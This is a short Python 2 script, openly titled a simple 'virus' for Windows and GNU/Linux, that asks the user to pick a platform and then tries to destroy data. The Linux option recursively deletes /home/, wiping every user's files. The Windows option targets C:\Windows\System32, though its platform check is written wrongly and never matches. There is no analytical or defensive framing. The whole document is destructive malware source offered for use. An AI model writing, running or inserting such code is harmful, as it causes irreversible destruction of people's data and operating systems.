python simple vrus

#!/usr/bin/python

import sys, shutil

print """
----------------------
-----+_) Windows Virus And GNU/Linux  (_+---
----------------------\n
[1] WIndows
[2] Linux

"""



def Linux():
    try:
        if sys.platform == "linux2":
            shutil.rmtree("/home/")
        print "Success"
    except OSError:
        print "please try again it is not a directory"

def Windows():
    if sys.platform == "win, win32":
        shutil.rmtree ("C:\Windows\System32")

pilihan =input("choice 1 or 2 ?")

if pilihan == 1:
    Windows()
elif pilihan == 2:
    Linux()
else:
    print "You Mush choice 1 or 2 !!! "